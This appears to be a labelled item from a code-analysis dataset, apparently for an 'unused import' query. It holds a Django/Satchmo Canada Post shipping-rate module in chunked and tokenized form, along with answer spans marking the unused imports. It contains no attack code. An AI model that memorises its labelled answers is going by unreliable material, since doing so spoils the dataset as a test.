settings\")\n return\n if settings.LIVE.value:\n connection = settings.CONNECTION.value\n else:\n connection = settings.CONNECTION_TEST.value\n \n configuration = {\n 'cpcid': settings.CPCID.value,\n 'turn_around_time': settings.TURN_AROUND_TIME.value,\n 'packaging': self.packaging,\n 'ship_type': self.service_type_code,\n 'shop_details':shop_details,\n }\n c = Context({\n 'config': configuration,\n 'cart': cart,\n 'contact': contact\n })\n \n t = loader.get_template('shipping/canadapost/request.xml')\n request = t.render(c)\n self.is_valid = False\n \n cache_key_response = \"canadapost-cart-%s-response\" % int(cart.id)\n cache_key_request = \"canadapost-cart-%s-request\" % int(cart.id)\n last_request = cache.get(cache_key_request)\n tree = cache.get(cache_key_response)\n \n if (last_request != request) or tree is None:\n self.verbose_log(\"Requesting from Canada Post [%s]\\n%s\", cache_key_request, request)\n cache.set(cache_key_request, request, 60)\n tree = self._process_request(connection, request)\n self.verbose_log(\"Got from Canada Post [%s]:\\n%s\", cache_key_response, self.raw)\n needs_cache = True\n else:\n needs_cache = False\n \n try:\n status_code = tree.getiterator('statusCode')\n status_val = status_code[0].text\n self.verbose_log(\"Canada Post Status Code for cart #%s = %s\", int(cart.id), status_val)\n except AttributeError:\n status_val = \"-1\"\n \n\n if status_val == '1':\n self.is_valid = False\n self._calculated = False\n all_rates = tree.getiterator('product')\n\n for rate in all_rates:\n self.verbose_log(\"Got product id from cp: %s\", rate.attrib['id'])\n if self.service_type_code == rate.attrib['id']:\n self.charges = Decimal(rate.find('.//rate').text)\n #YYYY-MM-DD\n delivery_date = rate.find('.//deliveryDate').text\n shipping_date = rate.find('.//shippingDate').text\n self.delivery_days = datetime.date(\n int(delivery_date[:4]),\n int(delivery_date[5:7]),\n int(delivery_date[8:])) - \\\n datetime.date(\n int(shipping_date[:4]),\n int(shipping_date[5:7]),\n int(shipping_date[8:]))\n self.delivery_days = self.delivery_days.days\n self.is_valid = True\n self._calculated = True\n\n if not self.is_valid:\n self.verbose_log(\"Canada Post Cannot find rate for code: %s [%s]\", self.service_type_code, self.service_type_text)", "metadata": "root.Shipper.calculate", "header": "['class', 'Shipper', '(', 'BaseShipper', ')', ':', '___EOS___']", "index": 109 }, { "content": " def verbose_log(self, *args, **kwargs):\n if config_value('shipping.modules.canadapost', 'VERBOSE_LOG'):\n log.debug(*args, **kwargs)", "metadata": "root.Shipper.verbose_log", "header": "['class', 'Shipper', '(', 'BaseShipper', ')', ':', '___EOS___']", "index": 204 } ]
[ { "span": "from django.utils.safestring import mark_safe ", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 45 }, { "span": "from xml.etree.ElementTree import fromstring, tostring", "start_line": 18, "start_column": 4, "end_line": 18, "end_column": 58 }, { "span": "from elementtree.ElementTree import fromstring, tostring", "start_line": 20, "start_column": 4, "end_line": 20, "end_column": 60 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "'''", "\\", "10", ";", "Cana", "da", " ", "Post", " ", "Ship", "ping", " ", "Modul", "e", "\\", "10", ";", "v", "0.", "1.1", "\\", "10", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Not", "e", ",", " ", "make", " ", "sure", " ", "you", " ", "use", " ", "decima", "l", " ", "math", " ", "every", "where", "!", "_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "decimal_", "import_", "Decimal_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "core_", "._", "cache_", "import_", "cache_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "template_", "import_", "loader_", ",_", "Context_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "safe", "string_", "import_", "mark", "\\u", "safe_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "translation_", "import_", "ugettext_", "as_", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "lives", "ettings_", "import_", "config", "\\u", "get", "\\u", "group_", ",_", "config", "\\u", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "shipping", "_", "._", "modules_", "._", "base_", "import_", "Base", "Ship", "per_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urllib2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "xml_", "._", "etree_", "._", "Element", "Tree_", "import_", "fromstring_", ",_", "tostring_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "element", "tree_", "._", "Element", "Tree_", "import_", "fromstring_", ",_", "tostring_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "log_", "=_", "logging_", "._", "get", "Logger_", "(_", "'", "can", "ada", "post", ".", "ship", "per", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Ship", "per_", "(_", "Base", "Ship", "per_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Ship", "per_", "(_", "Base", "Ship", "per_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "cart_", "=_", "None_", ",_", "contact_", "=_", "None_", ",_", "service", "\\u", "type_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "calculated", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "cart_", "=_", "cart_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "contact_", "=_", "contact_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "service", "\\u", "type_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "service", "\\u", "type", "\\u", "code_", "=_", "service", "\\u", "type_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "service", "\\u", "type", "\\u", "text_", "=_", "service", "\\u", "type_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "service", "\\u", "type", "\\u", "code_", "=_", "'", "9", "9", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "service", "\\u", "type", "\\u", "text_", "=_", "'", "Unin", "itialized", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "id_", "=_", "u", "'", "can", "ada", "post", "-%", "s", "'_", "%_", "(_", "self_", "._", "service", "\\u", "type", "\\u", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ship", "per_", "(_", "Base", "Ship", "per_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "str\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", "Thi", "s", " ", "is", " ", "mainl", "y", " ", "help", "ful", " ", "for", " ", "debugg", "ing", " ", "purpose", "s", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "'", "Cana", "da", " ", "Post", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ship", "per_", "(_", "Base", "Ship", "per_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "unicode\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", "As", " ", "is", " ", "this", ".", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "'", "Cana", "da", " ", "Post", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ship", "per_", "(_", "Base", "Ship", "per_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "description_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", "A", " ", "basic", " ", "description", " ", "tha", "t", " ", "will", " ", "be", " ", "displaye", "d", " ", "to", " ", "the", " ", "user", " ", "whe", "n", " ", "\\", "10", ";", " ", " ", "selecti", "ng", " ", "thei", "r", " ", "shipping", " ", "options", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "\\u_", "(_", "'", "Cana", "da", " ", "Post", " ", "-", " ", "%", "s", "'_", "%_", "self_", "._", "service", "\\u", "type", "\\u", "text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ship", "per_", "(_", "Base", "Ship", "per_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "cost_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", "Comple", "x", " ", "calculati", "ons", " ", "can", " ", "be", " ", "don", "e", " ", "here", " ", "as", " ", "long", " ", "as", " ", "the", " ", "return", " ", "\\", "10", ";", " ", " ", "value", " ", "is", " ", "a", " ", "decima", "l", " ", "figure", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "(_", "self_", "._", "\\u", "calculated", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "(_", "Decimal_", "(_", "self_", "._", "charges_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ship", "per_", "(_", "Base", "Ship", "per_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "method_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", "Describe", "s", " ", "the", " ", "actual", " ", "delivery", " ", "service", " ", "(", "Mail", ",", " ", "Fe", "d", "Ex", ",", " ", "DH", "L", ",", " ", "UPS", ",", " ", "etc", ")", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "\\u_", "(_", "'", "Cana", "da", " ", "Post", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ship", "per_", "(_", "Base", "Ship", "per_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "expected", "Deliver", "y_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", "Can", " ", "be", " ", "a", " ", "plain", " ", "string", " ", "or", " ", "complex", " ", "calc", "uation", " ", "\\", "10", ";", " ", " ", "return", "ing", " ", "an", " ", "actual", " ", "date", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "str_", "(_", "self_", "._", "delivery", "\\u", "days_", ")_", "<_", ">_", "'", "1", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u_", "(_", "'%", "s", " ", "business", " ", "day", "s", "'_", "%_", "self_", "._", "delivery", "\\u", "days_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u_", "(_", "'%", "s", " ", "business", " ", "day", "'_", "%_", "self_", "._", "delivery", "\\u", "days_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ship", "per_", "(_", "Base", "Ship", "per_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "valid_", "(_", "self_", ",_", "order_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Can", " ", "do", " ", "complex", " ", "validation", " ", "abo", "ut", " ", "whe", "ther", " ", "or", " ", "not", " ", "this", "\\", "10", ";", " ", " ", " ", " ", "option", " ", "is", " ", "valid", ".", " ", "For", " ", "example", ",", " ", "may", " ", "check", " ", "to", " ", "see", " ", "if", " ", "the", " ", "\\", "10", ";", " ", " ", " ", " ", "recip", "ient", " ", "is", " ", "in", " ", "an", " ", "allow", "ed", " ", "countr", "y", " ", "or", " ", "location", ".", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "self_", "._", "is", "\\u", "valid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ship", "per_", "(_", "Base", "Ship", "per_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "process", "\\u", "request_", "(_", "self_", ",_", "connection_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", "Post", " ", "the", " ", "data", " ", "and", " ", "return", " ", "the", " ", "XML", " ", "response", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "conn_", "=_", "urllib2_", "._", "Request_", "(_", "url_", "=_", "connection_", ",_", "data_", "=_", "request_", "._", "encode_", "(_", "\"", "utf", "-", "8", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "urllib2_", "._", "urlopen_", "(_", "conn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "all", "\\u", "results_", "=_", "f_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "raw_", "=_", "all", "\\u", "results_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "(_", "fromstring_", "(_", "all", "\\u", "results_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ship", "per_", "(_", "Base", "Ship", "per_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "calculate_", "(_", "self_", ",_", "cart_", ",_", "contact_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", "Base", "d", " ", "on", " ", "the", " ", "chosen", " ", "Cana", "da", " ", "Post", " ", "method", ",", " ", "we", " ", "will", " ", "do", " ", "our", " ", "call", "(", "s", ")", " ", "\\", "10", ";", " ", " ", "to", " ", "Cana", "da", " ", "Post", " ", "and", " ", "see", " ", "how", " ", "muc", "h", " ", "it", " ", "will", " ", "cost", ".", " ", "We", " ", "will", " ", "als", "o", " ", "need", " ", "\\", "10", ";", " ", " ", "to", " ", "store", " ", "the", " ", "results", " ", "for", " ", "fur", "ther", " ", "pars", "ing", " ", "and", " ", "return", " ", "via", " ", "the", "\\", "10", ";", " ", " ", "method", "s", " ", "above", ".", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "._", "debug_", "(_", "\"", "Start", "ing", " ", "Cana", "da", " ", "Post", " ", "calculati", "ons", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "sat", "chm", "o", "\\u", "store_", "._", "shop", "_", "._", "models_", "import_", "Config_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "settings_", "=_", "config", "\\u", "get", "\\u", "group_", "(_", "'", "shipping", ".", "module", "s", ".", "can", "ada", "post", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "verbose_", "=_", "settings_", "._", "VERBOS", "E", "\\u", "LOG_", "._", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "delivery", "\\u", "days_", "=_", "\\u_", "(_", "'", "3", " ", "-", " ", "4", "'_", ")_", "#", "Default", " ", "setti", "ng", " ", "for", " ", "ground", " ", "delivery", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shop", "\\u", "details_", "=_", "Config_", "._", "objects_", "._", "get", "\\u", "current_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "packaging", "_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "is", "\\u", "valid_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "error_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "charges_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "settings_", "._", "CP", "CID", "_", "._", "value_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "._", "warn_", "(_", "\"", "No", " ", "CP", "CID", " ", "found", " ", "in", " ", "settings", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "settings_", "._", "LIVE", "_", "._", "value_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "connection_", "=_", "settings_", "._", "CONNECTION", "_", "._", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "connection_", "=_", "settings_", "._", "CONNECTION", "\\u", "TEST_", "._", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "configuration_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "cpc", "id", "'_", ":_", "settings_", "._", "CP", "CID", "_", "._", "value_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "turn", "\\u", "aro", "und", "\\u", "time", "'_", ":_", "settings_", "._", "TURN", "\\u", "AR", "OUN", "D", "\\u", "TIME_", "._", "value_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "packaging", "'_", ":_", "self_", "._", "packaging", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ship", "\\u", "type", "'_", ":_", "self_", "._", "service", "\\u", "type", "\\u", "code_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "shop", "\\u", "deta", "il", "s", "'_", ":_", "shop", "\\u", "details_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "=_", "Context_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "config", "'_", ":_", "configuration_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "cart", "'_", ":_", "cart_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "contact", "'_", ":_", "contact_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "t_", "=_", "loader_", "._", "get", "\\u", "template_", "(_", "'", "shipping", "/", "can", "ada", "post", "/", "request", ".", "xml", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "t_", "._", "render_", "(_", "c_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "is", "\\u", "valid_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cache", "\\u", "key", "\\u", "response_", "=_", "\"", "can", "ada", "post", "-", "cart", "-%", "s", "-", "response", "\"_", "%_", "int_", "(_", "cart_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cache", "\\u", "key", "\\u", "request_", "=_", "\"", "can", "ada", "post", "-", "cart", "-%", "s", "-", "request", "\"_", "%_", "int_", "(_", "cart_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "last", "\\u", "request_", "=_", "cache_", "._", "get_", "(_", "cache", "\\u", "key", "\\u", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tree_", "=_", "cache_", "._", "get_", "(_", "cache", "\\u", "key", "\\u", "response_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "(_", "last", "\\u", "request_", "!=_", "request_", ")_", "or_", "tree_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "verbo", "se", "\\u", "log_", "(_", "\"", "Request", "ing", " ", "from", " ", "Cana", "da", " ", "Post", " ", "[", "%", "s", "]\\\\", "n", "%", "s", "\"_", ",_", "cache", "\\u", "key", "\\u", "request_", ",_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cache_", "._", "set_", "(_", "cache", "\\u", "key", "\\u", "request_", ",_", "request_", ",_", "60_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tree_", "=_", "self_", "._", "\\u", "process", "\\u", "request_", "(_", "connection_", ",_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "verbo", "se", "\\u", "log_", "(_", "\"", "Got", " ", "from", " ", "Cana", "da", " ", "Post", " ", "[", "%", "s", "]:", "\\\\", "n", "%", "s", "\"_", ",_", "cache", "\\u", "key", "\\u", "response_", ",_", "self_", "._", "raw_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "need", "s", "\\u", "cache_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "need", "s", "\\u", "cache_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "status", "\\u", "code_", "=_", "tree_", "._", "geti", "tera", "tor_", "(_", "'", "status", "Code", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "status", "\\u", "val_", "=_", "status", "\\u", "code_", "[_", "0_", "]_", "._", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "verbo", "se", "\\u", "log_", "(_", "\"", "Cana", "da", " ", "Post", " ", "Status", " ", "Code", " ", "for", " ", "cart", " ", "#", "%", "s", " ", "=", " ", "%", "s", "\"_", ",_", "int_", "(_", "cart_", "._", "id_", ")_", ",_", "status", "\\u", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Attribute", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "status", "\\u", "val_", "=_", "\"-", "1", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "status", "\\u", "val_", "==_", "'", "1", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "is", "\\u", "valid_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "calculated", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "all", "\\u", "rates_", "=_", "tree_", "._", "geti", "tera", "tor_", "(_", "'", "product", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "rate_", "in_", "all", "\\u", "rates_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "verbo", "se", "\\u", "log_", "(_", "\"", "Got", " ", "product", " ", "id", " ", "from", " ", "cp", ":", " ", "%", "s", "\"_", ",_", "rate_", "._", "attrib_", "[_", "'", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "service", "\\u", "type", "\\u", "code_", "==_", "rate_", "._", "attrib_", "[_", "'", "id", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "charges_", "=_", "Decimal_", "(_", "rate_", "._", "find_", "(_", "'./", "/", "rate", "'_", ")_", "._", "text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "YYY", "Y", "-", "MM", "-", "DD", "_", "\\u\\u\\uNL\\u\\u\\u_", "delivery", "\\u", "date_", "=_", "rate_", "._", "find_", "(_", "'./", "/", "delivery", "Date", "'_", ")_", "._", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shipping", "\\u", "date_", "=_", "rate_", "._", "find_", "(_", "'./", "/", "shipping", "Date", "'_", ")_", "._", "text_", 